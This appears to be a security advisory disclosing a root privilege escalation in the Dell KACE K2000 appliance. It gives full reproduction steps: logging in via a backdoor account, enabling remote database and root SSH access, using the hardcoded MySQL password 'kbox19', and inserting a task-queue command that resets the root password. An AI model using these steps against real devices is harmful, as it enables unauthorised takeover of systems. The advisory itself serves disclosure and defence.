[R1] Dell KACE K2000 System Deployment Appliance Task Processor Database Write Access Remote Privilege Escalation

Dell KACE K2000 Systems Deployment Appliance contains a flaw in the Task Processor component that is triggered when a web GUI administrator uses write access to the MySQL database. With a specially crafted 'insert' statement, an attacker can execute commands as 'root' on the underlying system, gaining full access to the device.

Reproduction steps:

o Log into the web interface as the backdoor user described in TRA-2011-11.
o Enable remote MySQL connections and root SSH access
- http://[target]/settings_security?edit=1
- Select "Allow Offboard Database Access"
- Select "Allow SSH Root Login (KACE Support)"
- click "Save"
o Restart the server
- http://[target]/settings_maintenance?edit=1
- Click "Reboot"
o Drop the exploit on the mysql server
- mysql -u root -p -h [target]
o supply the default password, "kbox19" (this password is hardcoded in various PHP files)
- run the MySQL commands:
o use KBDB
o insert into IM_SERVER_TASK_QUEUE(queue,description,command) values('datastore', 'exploit attempt', '/bin/echo password | pw usermod -n root -h 0');

After the task is processed, the command is executed and the root password is changed to 'password'. The attack is recorded in the log at http://[target]/settings_logs?log=server_task_processor_output